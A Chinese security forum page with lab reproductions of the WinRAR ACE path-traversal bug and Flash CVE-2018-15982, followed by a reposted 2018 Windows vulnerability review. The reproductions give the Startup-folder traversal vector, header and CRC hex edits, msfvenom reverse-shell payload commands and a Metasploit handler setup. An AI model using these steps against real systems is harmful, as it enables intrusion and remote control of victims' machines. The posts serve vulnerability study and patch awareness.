解压做好的ACE文件,发现我们的目录及其中的文件已经创建完毕。





重启电脑,发现txt文件执行成功!




 
修复方案:
建议删除压缩程序目录下的如图的文件




或者下载最新版本的WinRAR。
 
参考文章:https://www.anquanke.com/post/id/171403
 
 

 
  查看全部
漏洞描述:
2019年2月20日,Check Point团队爆出了一个关于WinRAR存在19年的漏洞, 该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,即在解压一个恶意ACE文件时,解压目录会被设置为Startup文件夹,这个文件夹可在电脑重新启动时自动运行文件夹内的程序,从而造成任意代码执行的效果。
漏洞影响版本:
WinRAR < 5.70 Beta 1
Bandizip    < = 6.2.0.0
好压(2345压缩)    < = 5.9.8.10907
360压缩    < = 4.0.0.1170
PS:目前我在WinRAR上复现成功,但是在Bandzip上失败,看来有些软件的行动还是蛮快的。
漏洞验证:
首先,我下载并安装了唯一允许创建ACE存档的软件 WinACE
然后在桌面创建了一个txt的文本,并用它作为最后存入Startup文件夹的文件
rar1.png


用把txt拖入WinACE的方式打开WinACE
点击Create,再次把txt拖入新出现的弹框内,再把下方的store full path设置好,最后点击Add创建。
rar2.png


这时桌面上就出现了创建好的ACE文件,接下来我们需要一个python脚本:acefile.py
https://github.com/droe/acefile

运行这个py脚本,我们可以看到新创建的ACE文件的头信息
rar3.png


红框中的内容即为解压时的目录,我们需要做的便是手动修改它,Check Point团队为我们准备好了最终的向量:
C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.txt

下来,因为CRC的保护,如何手动修改就成为了关键的一步:
你需要有一个编辑工具如WinHex等,这里我个人习惯使用HEdit
用十六进制的方法打开ACE文件后,我们需要修改四个地方

首先,将预设的解压目录修改为我们的最终向量
rar4.png


第二,修改路径长度为新向量长度
rar5.png

rar6.png


第三,修改hdr_size,我的长度为111,十六进制为6f
rar8.png


第四,用编辑器打开acefile.py
寻找CRC failed,找到下面这一行
rar9.png


将代码中输出的CRC failed改为变量的值
rar10.png


再次执行python脚本
将这个值转换为16进制后即为我们最后一处用来修改的内容
rar11.png


63686,转换为16进制为f8c6,我们使用的时候要颠倒一下即为c6f8
rar12.png


将红圈中的内容修改为新内容后即可完成操作。
解压做好的ACE文件,发现我们的目录及其中的文件已经创建完毕。
rar13.png


重启电脑,发现txt文件执行成功!
rar14.png

 
修复方案:
建议删除压缩程序目录下的如图的文件
rar15.png

或者下载最新版本的WinRAR。
 
参考文章:https://www.anquanke.com/post/id/171403
 
 

 
 

Adobe Flash漏洞CVE-2018-15982复现

编程wuyou 发表了文章 • 1 个评论 • 202 次浏览 • 2019-02-16 19:10 • 来自相关话题

今早发现我上次发的CVE-2017-11882在很早前zksmile就发过了,所以想发一篇社区里没的,关于Office的漏洞目前有很多,比较常见的还是CVE-2017-11882和CVE-2018-0802的结合,所以我就挑了一个Adobe Flash的漏洞来写一写。
这里有在网上找到的对这个漏洞的一些描述:
2018年11月29日,360高级威胁应对团队在全球范围内第一时间发现一起针对俄罗斯的APT攻击行动,通过一份俄文内容的医院员工问卷文档,携带最新的Flash 0day漏洞和具有自毁功能的专属木马程序,该漏洞(CVE-2018-15982)允许攻击者恶意制作的Flash对象在受害者的计算机上执行代码,从而获取对系统命令行的访问权限。
漏洞影响版本:
Adobe Flash Player <= 31.0.0.153
Adobe Flash Player Installer<= 31.0.0.108
不受影响的版本:
Adobe Flash Player 32.0.0.101
Adobe Flash Player Installer 31.0.0.122
PS:在控制面板的程序和功能里找自己的Flash的版本号





实验环境:
Kail 2.0
Windows 7 + Flash 28(做完CVE-2018-4878剩下的环境)
POC: https://github.com/B1eed/VulRec/tree/master/CVE-2018-15982​

漏洞验证:
1、创建payload程序
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.190.134 LPORT=4444 -f raw > 64.bin
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.134 LPORT=4444 -f raw > 86.bin

2、生成文件视频文件和网页
python CVE-2018-15982.py -i 86.bin -I 64.bin -o exploit.swf



 

3、开启Apache服务,并把生成的文件放入Web目录中
 service apache2 start
cp index.html /var/www/html/index.html
cp exploit.swf /var/www/html/exploit.swf

4、开始监听
msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.190.134
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit

5、在靶机打开网页
http ://192.168.190.134/index.html




这时渗透机已经成功获取到Session了!




 
 结语:
这个漏洞算是个比较新的漏洞了,而且利用过程也是非常的简单,所以大家还是赶紧看一下自己的Flash是否该更新了。
  查看全部
今早发现我上次发的CVE-2017-11882在很早前zksmile就发过了,所以想发一篇社区里没的,关于Office的漏洞目前有很多,比较常见的还是CVE-2017-11882和CVE-2018-0802的结合,所以我就挑了一个Adobe Flash的漏洞来写一写。
这里有在网上找到的对这个漏洞的一些描述:
2018年11月29日,360高级威胁应对团队在全球范围内第一时间发现一起针对俄罗斯的APT攻击行动,通过一份俄文内容的医院员工问卷文档,携带最新的Flash 0day漏洞和具有自毁功能的专属木马程序,该漏洞(CVE-2018-15982)允许攻击者恶意制作的Flash对象在受害者的计算机上执行代码,从而获取对系统命令行的访问权限。
漏洞影响版本:
Adobe Flash Player <= 31.0.0.153
Adobe Flash Player Installer<= 31.0.0.108
不受影响的版本:
Adobe Flash Player 32.0.0.101
Adobe Flash Player Installer 31.0.0.122
PS:在控制面板的程序和功能里找自己的Flash的版本号
fn5.png


实验环境:
Kail 2.0
Windows 7 + Flash 28(做完CVE-2018-4878剩下的环境)
POC: https://github.com/B1eed/VulRec/tree/master/CVE-2018-15982

漏洞验证:
1、创建payload程序
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.190.134 LPORT=4444 -f raw > 64.bin
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.134 LPORT=4444 -f raw > 86.bin

2、生成文件视频文件和网页
python CVE-2018-15982.py -i 86.bin -I 64.bin -o exploit.swf
fn3.png
 


3、开启Apache服务,并把生成的文件放入Web目录中
 service apache2 start
cp index.html /var/www/html/index.html
cp exploit.swf /var/www/html/exploit.swf

4、开始监听
msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.190.134
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit

5、在靶机打开网页
http ://192.168.190.134/index.html
fn.png

这时渗透机已经成功获取到Session了!
fn2.png

 
 结语:
这个漏洞算是个比较新的漏洞了,而且利用过程也是非常的简单,所以大家还是赶紧看一下自己的Flash是否该更新了。
 

【转帖】2018年Windows漏洞年度盘点——腾讯手机管家

安全资讯willeson 发表了文章 • 0 个评论 • 107 次浏览 • 2019-01-26 20:25 • 来自相关话题

一、   前言
漏洞是影响网络安全的重要因素,而漏洞攻击作为恶意攻击的最常用手段,更是有着目标行业化、手段多样化的趋势,不论是个人还是企业,都面临着严峻的漏洞威胁。
2018年在轰动式的“幽灵”、“熔断”两大CPU漏洞中揭开序幕。“震网3漏洞利用挖矿”、“412挂马风暴”等安全事件发生表明,漏洞利用攻击,不再是APT组织的“专属”,漏洞利用正往“低成本化”趋势发展。过去一年,Windows、Office、IE、Flash等高危漏洞频繁被曝光,而各种野外漏洞利用更是攻击层出不穷,更给个人和企业的网络安全带来了严峻的威胁。本报告主要重点分析2018年Windows平台的漏洞攻击态势,并给个人和企业合理化的漏洞防护建议。二、2018年Windows平台漏洞盘点
2018年对于安全行业是颇具考验的一年,据安全数据库网站cvedetails.com的漏洞提交数据统计,自1999年起,Windows操作系统的漏洞提交数量就呈逐年上涨的趋势,而在近几年达到了一个爆发期,今年的安全漏洞提交数相较过往三年同比上升最高超过40%,安全漏洞的数量和严重性创下历史新高。
 
2.1  2018年Windows安全公告数量
在软硬件漏洞遍地都是的今天,补丁管理作为网络安全最基础的一环,就显得尤为重要。在企业选择产品时亦需要注意厂商对其产品安全性的投入,只有软件/平台开发商对于产品安全性投入高,产品才有保障。微软作为全球知名的软件开发商,对其名下产品的安全性投入是比较到位的,每月都会进行维护发布补丁修复安全漏洞。2018全年微软共为其产品(Windows,IE/Edge,office等)发布了874个补丁,修复了728个漏洞,平均每月修复多达60个漏洞。

 2.2  Windows漏洞影响产品&系统分布
2018年,在所有漏洞影响的Windows产品中,Windows系统组件漏洞占到了35%的比例,浏览器漏洞占25%,Office漏洞则占比17% 。
 

根据腾讯御见威胁情报中心的数据监测,虽然Office和Adobe(主要是Flash)被曝光的漏洞相对较少,但漏洞利用的比例最高。可见,黑客挑选漏洞时,更可能是优先考虑漏洞利用的成本,并参考其攻击目标人群与产品用户的重合度,而与产品本身漏洞量的多少并无正相关。
 

相比较2017年,2018年Office和.net的漏洞曝光量上升比较明显,相对Windows系统组件漏洞,Office漏洞常被大家忽视,但却备受黑客喜爱,众多专业黑客组织对重要目标的攻击,会选择使用Office高危漏洞,腾讯御见威胁情报中心再次提醒大家需及时安装Office漏洞补丁,避免偶然打开一个文档就被植入后门。
 

在所有Windows各版本中,受到最多漏洞影响的却是Windows 10系统,这说明Windows 10已是主流的操作系统版本,其漏洞曝光量正越来越多,同时提醒广大用户,即便使用最新版本的操作系统,也不可忽视漏洞风险,每个月及时安装安全更新是防范黑客入侵的必要步骤。
 

从2017年同比数据也可以看出,Windows Server 2016上报告的漏洞数增加了近7%,同时可预测,针对新版服务器操作系统的漏洞也将越来越多。
 
2.3  2018年漏洞攻击的地区&行业分布
2018年漏洞攻击地区分布与当地经济水平及信息化普及程度相关。2018年漏洞攻击集中在北上广三地,其中以国家政府机关、高科技人才和经济富裕人士汇集的首都北京首当其冲。北上广是全国经济、政治和科技要地,更是走在中国国际化的前列,大量可见利益汇集,是不法黑客首选的攻击目标。
 

根据腾讯御见威胁情报中心数据监测, Windows操作系统存在高危漏洞在教育、政府、卫生医疗行业占比最高。
 

从受攻击量的对比数据看,政府、教育、医疗卫生行业因为其系统存在大量高危漏洞未及时修复,所受攻击次数也相对较高。而科技行业虽然漏洞存在量相对较少,受攻击量却是最高的,这样从另一方面说明,漏洞利用攻击者通常是有目的针对性地采取攻击,对科技行业的攻击,泄取机密往往成为首选目的。
 
2.4   国内用户整体漏洞修复情况&高危漏洞修复情况
2018国内用户整体漏洞修复中,Windows漏洞和.NET漏洞达到了70%以上的修复率,其次是IE、Flash和Office漏洞修复率徘徊在60%上下。整体漏洞修复率偏低可以反映出国内的个人用户目前的信息安全意识亟待提升,公众对于安全漏洞的危害认知尚不到位。

而在四类高危漏洞(存在野外利用的漏洞)修复中,Windows高危漏洞达到了82%的修复率,其次是IE和.NET高危漏洞修复率约达到70%,Flash和Office高危漏洞则修复率较低,仅有约50%。
 

Flash高危漏洞修复率偏低是由于许多第三方软件会自带一个Flash插件,而微软官方提供的Flash补丁仅能更新其中一小部分,无法完全覆盖第三方浏览器目录下的所有Flash插件,导致部分用户电脑上的Flash漏洞较难得到彻底修复解决。
Office软件本身对更新做的是相对较弱的提示,如果没有第三方安全软件的强提醒,一般用户主动安装补丁修复Office安全漏洞的较少;另一方面,国内存在大量盗版Office用户,而这些盗版镜像往往经过镜像制作者的修改,难以正常安装补丁。对于重要的政府机构、企事业单位、科研机构来说,软件系统的正版化对降低黑客入侵风险具有十分重要的意义。2.5 Windows漏洞危害类型分布&漏洞危害等级分布
在2018年曝光的Windows平台漏洞中,远程执行代码类漏洞达到了42%的高占比,其次是信息泄露类漏洞和特权提升类漏洞各占20%。远程执行代码类漏洞由于其兼具隐蔽性与自由度,广受黑客攻击者欢迎,今年曝出的两个IE“双杀”0day漏洞(CVE-2018-8174、CVE-2018-8373)就是被广泛利用于恶意攻击的最好例子。
 

2018年曝光的Windows平台漏洞中,“危急”等级(漏洞危害最高等级)的漏洞占比23%,“危急”等级的漏洞量依然占据着较高的比例。
 
2.6  Windows漏洞利用病毒分布&被利用的漏洞分布
在2018年利用漏洞进行攻击的病毒中,非PE(文件格式)占了66%的高比例,而PE文件占了31%。常见非PE漏洞攻击病毒有Office宏类病毒、脚本类病毒。相比较PE,非PE病毒的攻击手法更灵活,对安全软件来说检测非PE病毒更为困难。
 
2.7 2018年Windows平台高危漏洞盘点
 

2018年1月
Microsoft Office公式编辑器再次曝出两个高危漏洞CVE-2018-0798和CVE-2018-0802。CVE-2018-0798是Office公式编辑器在解析Matrix Record(0×05)的内容时,没有对行与列的成员进行特定的长度校验,这就导致黑客可以通过精心构造内容任意指定后续读入的行与列长度,从而造成栈溢出。CVE-2018-0802技术原理与之类似,微软在1月9日通过发布移除公式编辑器的补丁修复这两个漏洞。 
[b]2018年2[/b]月
Adobe Flash被曝出一个0day漏洞CVE-2018-4878。该漏洞影响版本在28.0.0.137以下的Adobe Flash,通过修改Flash脚本对象ByteArray的值至特殊长度来实现任意地址读写,实现漏洞利用,再将Adobe Flash Player嵌入Office文档和邮件等载体中并诱使用户打开的途径快速传播漏洞,在解析ATF文件时访问内部数据结构使用了无效的指针偏移导致漏洞,成功攻击后可能会导致敏感信息泄露。该漏洞在2月6日被修复; 
[b]2018年3[/b]月
Ulf Frisk曝光了一个Windows内核提权高危漏洞TotelMeltdown(CVE-2018-1038 )。该漏洞是由微软先前发布用于修复“Meltdown”漏洞的补丁产生的新问题,补丁错误地将PML4权限设定成用户级,可以让任意进程读取并修改页表项目,该漏洞仅影响Windows7 x64 和Windows Server 2008 R2系统,并在3月29日被修复; 
[b]2018年4[/b]月
Internet Explorer被曝出一个0day漏洞“双杀”(CVE-2018-8174)。该漏洞通过VBScriptClass::Release函数中存在的缺陷访问未分配内存,从而触发漏洞达到任意地址读写的目的。该漏洞通过精心构造的页面或往邮件或Office文档中嵌入VBScript脚本即可触发,危害性较强,也因此被命名为“双杀”漏洞,且一遭曝光便第一时间被APT组织利用于黑客活动。该漏洞于5月8日被修复; 
[b]2018年5[/b]月
Windows操作系统和Adobe Acrobat/Reader PDF阅读器被ESET公布了两个捆绑在一起的0day漏洞。
(CVE-2018-8120、CVE-2018-4990)这是源于ESET在3月捕获的用于攻击测试的一个PDF样本。CVE-2018-4990实际上是一个堆内存越界访问任意地址释放漏洞,原样本精准地使用堆喷射布局内存,然后释放两块大小为0xfff8的相邻堆块,在Windows堆分配算法将堆块合并后,利用该堆块改写一个ArrayBuffer对象的长度为0×66666666从而实现任意地址读写。CVE-2018-8120则是由于内核函数 SetImeInfoEx 未对其目标窗口站 tagWINDOWSTATION的指针成员域 spklList 的指向地址进行有效性校验,而是直接进行读取访问。这两个漏洞已在5月被修复; 
[b]2018年6[/b]月
Windows 10被曝出一个0day漏洞(CVE-2018-8414)。这是一个Windows Shell 远程执行代码漏洞,由于Windows Shell在某些情况下会不正确地验证文件路径,通过精心构造的恶意脚本触发该漏洞,可以达到任意读写的目的。该漏洞仅适用于Windows 10的新文件类型“.SettingContent-ms”,该漏洞直到8月14日才正式分配CVE编号并修复。 
[b]2018年7[/b]月
Internet Explorer被曝光0day漏洞“双杀”二代(CVE-2018-8242),它的出现是由于4月“双杀”一代(CVE-2018-8174)的修复补丁并未完全解决漏洞,导致VBScript脚本引擎中仍存在类似问题,该漏洞由360Vulcan团队发现并提交,并在7月10日被修复; 
[b]2018年8[/b]月
(1)   Exchange Server被公开了一个内存损坏漏洞(CVE-2018-8302)的POC,攻击者可使用钓鱼攻击触发漏洞利用攻击企业用户计算机,并再次发起攻击直至接管Exchange Server服务器。Exchange对语音邮件的接收存储过程中,会转换语音邮件读取TopNWords.Data并通过.NET BinaryFormatter对它反序列化,该漏洞就存在于反序列化过程中。(2)   Internet Explorer被Trendmicro曝出0day漏洞“双杀”三代(CVE-2018-8373),它基于与“双杀”一代相似的原理,通过VBScript.dll中存在的缺陷获取任意读取权限。两例漏洞都于8月14日被修复;
[b]2018年9[/b]月
(1)   Windows被曝出ALPC提权0day漏洞(CVE-2018-8440),它通过高级本地过程调用(ALPC)函数中SchRpcSetSecurity函数无法正确检查用户权限的缺陷,获得本地权限提升(LPE)来执行恶意代码。
(2)   Microsoft Jet Database Engine被公开了一个远程代码执行0day漏洞(CVE-2018-8423)的POC,该漏洞是一种越界(OOB)写入漏洞,可诱导用户打开包含以JET数据库格式存储的数据的特制文件,通过对象链接和嵌入数据库(OLEDB)的Microsoft组件打开Jet源来触发漏洞,发起攻击。两例漏洞分别于9月11日和10月9日被修复;
1[b]2018年0[/b]月
(1)   Microsoft Edge被公开了一个关于Windows Shell的RCE高危漏洞(CVE-2018-8495)的POC,攻击者可以使用该漏洞利用POC,通过Microsoft Edge构造包含特殊URI的网页,诱导用户打开即可实现在远程计算机上运行恶意代码。漏洞是由于Windows Shell处理URI时,未过滤特殊的URI所导致(如拉起脚本的Windows Script Host的URI为wshfile)。
(2)   Windows被曝出一个Win32k提权0day漏洞(CVE-2018-8453),它的利用过程较为复杂,简言之是利用了在win32k.sys组件的win32kfull!xxxDestroyWindow函数中的UAF漏洞从而获取本地提权。两例漏洞都于10月9日修复; 
[b]2018年11[/b]月
Windows再被曝出Win32k提权0day漏洞(CVE-2018-8589)。它的出现是由于在win32k!xxxMoveWindow函数中存在不恰当的竞争条件,导致线程之间同时发送的信息可能被不当锁定。该漏洞已在11月13日被修复; 
[b]2018年12[/b]月
(1)   Microsoft DNS Server被曝光存在一个堆溢出高危漏洞(CVE-2018-8626)。所有被设置为DNS服务器的Windows服务器都会受到此漏洞影响。攻击者向Windows DNS服务器发送精心构造的漏洞利用恶意请求,以触发堆溢出并远程代码执行。漏洞于12月11日发布补丁修复。
(2)   Windows连续第四个月被曝出0day漏洞。这次是一个更加高危的kernel内核事务管理器驱动程序的提权漏洞(CVE-2018-8611),它是源于kernel模式下对文件操作的不当处理引发内核事务管理器产生竞争条件,此漏洞绕过了现在主流web浏览器的进程缓解策略而从实现沙箱逃逸,这可让黑客在web上构建完整的远程代码执行攻击链。该漏洞最初在10月29日被发现,微软于12月11日分配CVE号并公布修复补丁; 三、 2018典型漏洞安全事件
2018年的安全行业,可谓是“热闹非凡”。前有勒索病毒野火烧不尽,春风吹又生;后有随着区块链概念被炒热,挖矿挂马频出;上有APT组织针对企业、政府、科研机构、事业单位的定向攻击;下有针对外贸行业的“商贸信”钓鱼邮件和针对个人用户的钓鱼邮件攻击,小规模爆发。
而专业APT组织的攻击手法,对普通病毒木马黑产起到教科书般的指导和示范作用,致使高危漏洞的利用从高端到大众快速传播普及,高危漏洞对信息安全的影响力之大,由此便可见一斑。
3.1  “新一代幽灵”——英特尔CPU漏洞持续升级
继年初发现的CPU漏洞Meltdown和Spectre后,英特尔处理器在2018年5月初又被Google Project Zero安全研究团队曝出发现8个新的“幽灵式”硬件漏洞,被称为“新一代幽灵”——Spectre-NG。利用该漏洞可绕过云主机系统与虚拟机的隔离,实现虚拟机逃逸,窃取机密信息。并且,利用该漏洞还可以攻击同一服务器的其它虚拟机。
然而,在下半年再次发现了英特尔CPU存在TLBleed、Foreshadow、PortSmash等多个超线程漏洞。11月初发现的PortSmash漏洞(CVE-2018-5407)影响所有支持超线程技术的Intel处理器。利用该漏洞,攻击者所在的进程可以窃取运行在同一个物理内核的另外一个进程的隐私数据,安全研究人员已经实现从OpenSSL进程中窃取私钥。
一系列的CPU漏洞,对芯片漏洞的修复同样一波三折,仓促发布的补丁带来新的风险,同时导致CPU性能下降,补丁不得不发行了多个版本,最终促使英特尔加快新一代处理器的发布进程,并成为把超线程技术彻底砍掉的最后一根稻草。 3.2 Office公式编辑器再曝新漏洞,商贸信钓鱼攻击屡试不爽 (CVE-2017-11882、CVE-2018-0802、CVE-2018-0798)
Office公式编辑器漏洞(CVE-2017-11882)是典型的栈溢出漏洞,存在于Eqnedit.exe组件中,该漏洞影响所有Office版本且极易利用,由于该漏洞在2017年11月14日仅仅被Windows添加了ASLR(地址随机化)漏洞缓解措施,实际上并未真正修复,且大量用户并不升级Office补丁,因此至今仍能见到许多野外攻击案例。
2017年12月20日,腾讯御见威胁情报中心就发现Eqnedt32模块还存在其他漏洞,同时捕获了一例“黑凤梨”(BlackTech)APT组织利用Office公式编辑器中的0day漏洞(CVE-2018-0802)进行攻击的样本,该样本采用鱼叉攻击的方式将携带恶意代码的Office文档伪装成办公文件进行传播,影响范围较为广泛。
2018年1月9日,Office公式编辑器再曝出新漏洞,这次Windows干脆直接通过删掉公式编辑器的途径来修复漏洞,一了百了。但漏洞补丁刚发布一周,就已开始出现多例CVE-2018-0798漏洞的变种和在野利用。
2018年2月26日腾讯御见威胁情报中心捕获到doc文档样本利用了CVE-2017-11882,通过下载并运行已被公开源码的“波尼”木马,窃取用户比特币钱包文件等敏感信息。
2018年6月1日,腾讯御见威胁情报中心再次检测到针对中国进出口企业投放的,利用CVE-2017-11882的大规模“商贸信”攻击,此类攻击邮件的投放量每天达上千封之多,病毒变种也层出不穷。
由此可以预见,未来相当长的一段时间内,鱼叉攻击+简单易用又十分符合办公场景的Office公式编辑器漏洞,仍会成为备受欢迎的针对中小型企业的攻击手段之一。3.3 Adobe系列产品多次报警,0day漏洞屡遭曝光
3.3.1 Adobe Flash再曝0day野外利用(CVE-2018-4878、CVE-2018-5002)
2018年2月1日, Adobe官方发布了安全通告(APSA18-01)称一个最新的Adobe Flash零日漏洞被发现用于针对韩国地区的人员发起鱼叉攻击。该0day漏洞编号为CVE-2018-4878,官方已于2月5日发布补丁进行修复。漏洞公布后,随即发现大量垃圾邮件迅速利用该漏洞进行传播,攻击者发送带有短链接的恶意Word文档的电子邮件,在下载并打开Word文档后,利用该漏洞打开命令行,再用链接到的恶意域的恶意shellcode远程注入命令,下载一个名为m.db的DLL文件,并使用regsvr32进程执行,完成攻击链。 
CVE-2018-5002则在2018年6月7日被发现野外利用,由APT组织Hacking Team通过即时聊天工具或邮箱发送包含外交部官员基本工资情况(阿拉伯语)的钓鱼文档进行攻击,在诱饵文档被用户打开后在宿主进程excel中执行恶意代码,并利用假冒的网站作为木马下载站达成进攻目的。攻击者将Loader、Exploit、Payload实行分离部署,加大安全工程师逆向还原漏洞利用代码的难度,显然是经过精心准备。
该APT组织费尽心思精心构造了攻击链,并使用0day漏洞攻击政府相关部门,可见其具有一定的政治意图。
3.3.2 Adobe Reader被发现0day漏洞在野利用攻击(CVE-2018-8120、CVE-2018-4990)
2018年5月15日, ESET捕获了一个使用两个0day漏洞联合进行攻击的PDF样本,其中包括一个Adobe Reader的0day漏洞(CVE-2018-4990)和Win32k的内核提权0day漏洞(CVE-2018-8120)。
CVE-2018-8120是Win32k特权提升漏洞,CVE-2018-4990是Adobe Acrobat/Reader的堆内存越界访问任意地址释放漏洞,攻击样本通过CVE-2018-4990获取代码执行权限,再通过利用内核提权漏洞绕过Adobe Acrobat/Reader的沙盒保护并实现任意代码执行。而有意思的是该样本仅是一个测试样本,两个0day漏洞还没来得及利用于攻击便已被修复。3.4  老漏洞被反复利用,“永恒之蓝”是否真的永恒?
多数黑客进攻个人电脑和企业服务器的目的,还是从不法途径谋取利益。往往是美味的蛋糕在哪里,不法黑客的身影就出现在哪里,病毒与木马也就如影随形地进攻到哪里。而这批利益至上的黑客们,对易用又稳定的老漏洞可谓是爱不释手,让我们再来看看2018年那些利用老漏洞进行攻击的热点安全事件。 
3.4.1 “永恒之蓝”系列漏洞:从勒索病毒到挖矿木马
“永恒之蓝”是一个于2017年被曝光的,存在于445端口上的SMB文件共享协议漏洞,不法分子利用此漏洞获取系统最高权限,将病毒木马等恶意软件植入Windows系统。近两年来, “永恒之蓝”漏洞已经成为被利用程度最高的安全漏洞之一。
勒索病毒主要通过三种途径传播:漏洞利用、钓鱼邮件和广告。其中通过漏洞发起的攻击占攻击总数的80%以上,典型案例就是以利用“永恒之蓝”漏洞主动传播的蠕虫式勒索病毒。“永恒之蓝”(WannaCry)可以说是开启了勒索病毒的新时代,并将这样的势头延续到了今年。另外,随着区块链的概念越发火热,今年越来越多的人加入炒币行列,而不法黑客自然不会放过这个牟利的好机会。
今年3月,腾讯御见情报威胁中心就捕获一个门罗币挖矿木马WannaMiner利用“永恒之蓝”漏洞在局域网内传播,将染毒机器打造成庞大的僵尸网络,长期潜伏挖矿,国内600多家企业超3万台电脑受到感染;
今年5月,捕获一款门罗币挖矿木马“微笑”通过扫描“永恒之蓝”漏洞攻击企业服务器悄悄在后台进行挖矿。该木马从3月就开始活动,截至5月,其已经累计挖取846枚门罗币,挖矿收入一度高达120万人民币;
6月1日,捕获一款Glupteba恶意代理木马利用“永恒之蓝”漏洞在局域网迅速传播,感染量激增;
今年8月,台积电曝出遭受WannaCry勒索病毒攻击导致产线瘫痪,造成25.96亿新台币损失;
8月9日,捕获蠕虫病毒bulehero利用“永恒之蓝”漏洞在企业内网攻击传播;
11月,又有一家知名半导体企业合晶科技,其位于大陆的工厂全线感染WannaCry勒索病毒,造成产线瘫痪,工厂全部停产。
由于越大型的单位和机械系统,越追求稳定性,使用的越是win7sp0、xp等微软早已停止提供更新服务的操作系统,因此存在大量无法及时修复的漏洞。而只要漏洞场景存在,安全威胁就不会消失,与勒索病毒和挖矿木马的抗争,就必须持续进行下去。 
3.4.2 国内首例利用“震网3”LNK漏洞实施挖矿
2018年3月,腾讯御见威胁情报中心监测到,国内首例使用U盘作为传播载体,利用lnk远程代码执行漏洞(CVE-2017-8464)作为主要传播手段的门罗币挖矿木马。
病毒样本通过利用Lnk漏洞执行恶意代码,还会自动感染其它插入的可移动磁盘。使用U盘作为传播载体,可被用来攻击基础设施、存放关键资料的核心隔离系统等,对政企单位的内网安全有较大威胁。由于该次攻击主要影响群体为频繁使用U盘进行文件传送的局域网用户,使得校园和政企等单位频频中招。
其实“震网3”这种通过快捷方式产生的漏洞本身没什么技术含量,但由于其超链接的特性能够执行系统上任意程序或脚本,自由度极高且隐蔽性强而在漏洞利用攻击中喜闻乐见。
3.4.3 “412”挂马风暴(CVE-2016-0189)
2018年4月12日,腾讯御见威胁情报中心监控到大量客户端的内嵌新闻页中被嵌入恶意代码,导致用户在毫无知情的情况,被植入挖矿木马、银行木马、以及远控木马等。本波挂马波及到的客户端多达50多个,影响超过20w用户,影响面非常之广。该挂马利用了一个2016年3月的vbscript脚本引擎损坏漏洞(CVE-2016-0189)来下载恶意脚本。CVE-2016-0189与今年新的IE“双杀”0day漏洞CVE-2018-8174一样,曾经是一个被用于APT攻击的0day漏洞,该漏洞利用了VBScript脚本引擎vbscript.dll中存在的数组访问越界问题来执行恶意代码。
可以看到,黑客们也会“偷懒”,几乎所有被大量使用的漏洞,都是那些简单易用、稳定又成功率高的漏洞。对于黑客而言,除非是为了完成一些特殊的任务,否则那些漏洞利用中的技术壁垒则是必须要考虑的因素之一。3.5 Windows下半年频现0day漏洞
今年是0day漏洞持续爆发的一年,Windows系产品可谓是多灾多难,不仅在补丁发布和Win10子版本升级方面BUG频出,让用户叫苦不迭;更是在短短半年时间内被连续曝出10个0day漏洞,7个已发现野外利用,而其中有6个在被发现的短短几天时间内,就迅速被APT组织利用于盗窃企业、政府机构的机密信息,0day漏洞的重要性,从这些黑客的手上就能够读懂。
3.5.1 “双杀”0day漏洞被APT组织DarkHotel(黑店)APT组织利用(CVE-2018-8174、CVE-2018-8242、CVE-2018-8373)
2018年4月18日,首个IE“双杀”系列漏洞CVE-2018-8174的在野攻击样本被发现,由此开启了Windows下半年每月“稳定供应”一个0day漏洞的节奏。
据报道称,该样本来自一个被命名为Darkhotel(APT-C-06)的APT组织。该APT组织善于利用高危漏洞针对企事业单位进行定向攻击,窃取国家机密,DarkHotel早在年初就利用Office公式编辑器漏洞发起过针对政府单位的攻击。
在接下来的7月、8月里,Internet Explorer又相继被曝出“双杀”二代(CVE-2018-8242)和“双杀”三代(CVE-2018-8373)0day漏洞。DarkHotel组织再度使用相同的攻击技术,利用 “双杀”三代针对企业高管、国防工业、电子工业等重要机构发起定向攻击。
除被APT组织多次利用外,“双杀”一代(CVE-2018-8174)还在6月16日被腾讯御见威胁情报中心捕获到一个木马传播利用的案例。一款名为“流量宝流量版”的软件在软件内嵌的IE浏览器中利用该漏洞执行shellcode并下载DDoS木马和挖矿木马等将受害电脑控制为肉鸡。来自该样本的漏洞利用攻击请求次数,最高曾高达30多万次。
3.5.2  APT组织Darkhydrus和摩诃草对CVE-2018-8414的利用
2018年6月,一种关于Windows 10新引入的文件类型“.SettingContent-ms”的任意代码执行攻击技巧被公开了POC,该漏洞一遭公开就迅速被不法黑客和APT组织利用。在野外攻击中,捕获多个利用该0day漏洞的攻击样本。
据报道,曾发现Darkhydrus使用该漏洞利用技术,用于投递DNS隧道通信攻击,另外,疑似APT组织摩诃草也曾利用该漏洞投放攻击样本。
直到2018年8月14日微软才发布相应漏洞补丁并给予漏洞编号CVE-2018-8414。
3.5.3  APT组织FruityArmor对CVE-2018-8453的利用
CVE-2018-8453是一个位于win32kfull!xxxDestroyWindow函数中的UAF远程代码漏洞,该漏洞最早在8月由卡巴斯基实验室发现被APT组织FruityArmor利用于近期的攻击活动中,据悉,卡巴斯基实验室捕获的攻击样本使用的shellcode长期以来只被FruityArmor在C2领域所使用,而这次,FuityArmor利用该漏洞发起的攻击似乎有高度针对性,仅影响了中东地区的十几名用户。
3.5.4 APT组织SandCat对两个0day提权漏洞的利用(CVE-2018-8589、CVE-2018-8611)
10月17日,卡巴斯基实验室发现一例APT组织SandCat针对中东地区用户进行的小范围针对性攻击,该攻击利用了Windows Win32k本地提权漏洞CVE-2018-8589,该漏洞仅影响Windows 7 x86以及WindowsServer 2008操作系统,暂时仅被发现利用于APT活动。
而该漏洞被发现还不到一个月,在10月29日,再次发现一个新的Windows内核提权0day漏洞CVE-2018-8611被同一组织利用。新的漏洞可以绕过了主流web浏览器的沙箱,相较于CVE-2018-8589而言更具威胁性。
